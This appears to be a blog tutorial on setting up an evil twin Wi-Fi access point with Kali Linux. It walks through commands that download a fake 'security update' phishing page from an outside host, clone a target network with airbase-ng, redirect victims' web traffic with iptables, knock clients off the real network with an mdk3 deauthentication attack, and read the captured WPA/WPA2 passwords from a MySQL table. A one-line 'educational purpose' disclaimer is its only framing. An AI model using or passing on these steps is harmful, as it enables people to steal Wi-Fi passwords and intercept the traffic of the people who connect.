Requirements:

1. Kali Linux
2. Wireless network adapter[I em using TP-link TL-WN821N]
3.  Internet connection to your machine
4. Target Access point

What is Evil twin access point??

An evil twin, in security, is a rogue wireless access point that masquerades as a Wi-Fi access point so that an attacker can gather personal information without the user's knowledge.
To the user, the evil twin looks like a hotspot with a strong signal; that's because the attacker has not only used the same network name and settings as the "good twin" he is impersonating, he has also physically positioned himself near the end-user so that his signal is likely to be the strongest within range.
If the end-user is tempted by the strong signal and connects manually to the evil twin to access the Internet, or if the user's computer automatically chooses that connection because it is running in promiscuous mode, the evil twin becomes the user's Internet access point, giving the attacker the ability to intercept sensitive data such as passwords.
So let’s get started with the tutorial for creating an evil twin access point..

Step by step How to Create Evil Twin Access Point

Step 1:
Login to your kali linux machine..
Establish an internet connection to your host machine..
Now we have to install DHCP server as follows..
Open the terminal and type apt-get install dhcp3-server as show below:
How to Create Evil Twin Access Point
In the above screenshot I have already installed the dhcp server..
Step 2:
Now we need to configure our DHCP server as below..
Open your terminal and type nano/etc/dhcpd.conf, you should have a blank file opened up on your terminal..
Now type the following shown on the screen shot below
How to Create Evil Twin Access Point
After typing press ctrl+x and then press y and hit enter to save it.
Step 3:
Now download the security update page which the client will see when they open up the web browser..
To do that,
Navigate to, cd /var/www in your terminal and do as follows:
rm index.html
wget http://hackthistv.com/eviltwin.zip
unzip eviltwin.zip
rm eviltwin.zip
How to Create Evil Twin Access Point
Step 4:
Now type the following to start your apache server and mysql:
 /etc/init.d/apache2 start
/etc/init.d/mysql start
How to Create Evil Twin Access Point
Now the mysql is loaded now we have to create a database where we store the WPA/WPA2 password that the client enters into the security update page..
Type the follows:
mysql -u root
       create database evil_twin;
       use evil_twin
       create table wpa_keys(password varchar(64), confirm varchar(64));
How to Create Evil Twin Access Point
In the above screenshot the databse already exists..
Leave the mysql terminal open..
Step 5:
Now we need to find our local network adapter interface name and our local ip
Now open the new terminal and type:
ip route (take note of local ip n wired interface)
airmon-ng
airmon-ng start wlan0
clear
How to Create Evil Twin Access Point
NOTE: eth0 is my interface name and 192.168.0.105 is my local ip
airodump-ng-oui-update
How to Create Evil Twin Access Point
airodump-ng -M mon0 (take note of target essid,bssid and channel number)
airbase-ng -e [ESSID] -c [ch. #] -P mon0
NOTE: [ESSID]  is your targets ESSID and [ch. #] targets channel no.
How to Create Evil Twin Access Point
Step 6:
Our evil twin access point is now up and running, we need to configure our tunnel interface so we can create a bridge between our evil twin access point and our wired interface and our tunnel interface is named at0, which was created when we created evil twin access point using airbase..
Don’t close airbase and mysql terminal..
Now open a new terminal and type as follows:
     ifconfig at0 192.168.1.129 netmask 255.255.255.128
now we need to add a routing table to enable IP forwarding so we can forward traffic to and fro from our evil twin access point..
so,type the following:
route add -net 192.168.1.128 netmask 255.255.255.128 gw 192.168.1.129
echo 1 > /proc/sys/net/ipv4/ip_forward
iptables –table nat –append POSTROUTING –out-interface eth0 -j MASQUERADE
iptables –append FORWARD –in-interface at0 -j ACCEPT
iptables -t nat -A PREROUTING -p tcp –dport 80 -j DNAT –to-destination [LOCALIP ADDRESS:80]
iptables -t nat -A POSTROUTING -j MASQUERADE
dhcpd -cf /etc/dhcpd.conf -pf /var/run/dhcpd.pid at0
etc/init.d/isc-dhcp-server start
How to Create Evil Twin Access Point
Step 7:
Now we need to force our clients to connect to our evil twin access point and to accomplish this we need to disconnect the clients by performing the de-authentication attack. To do that first we need to create the blacklist file that contains BSSID of the target..
Do as follows :
echo [BSSID] > blacklist
NOTE:[BSSID] BSSID of the target
mdk3 mon0 d -b blacklist -c [CH.#]
How to Create Evil Twin Access Point
Now go back to airbase terminal to check if any client has connected to your evil twin access point..
If he is connected to the evil twin access point he will see the security page as shown below which asks for password..
How to Create Evil Twin Access Point
Where the client enters his WPA/WPA2 password and clicks on update.
Now go over to the mysql terminal and type
 use evil_twin
select * from wpa_keys; {To view the password entered by the victim in our mysql database}
So that’s it, that’s how you create an evil twin access point..
This tutorial is only for educational purpose!!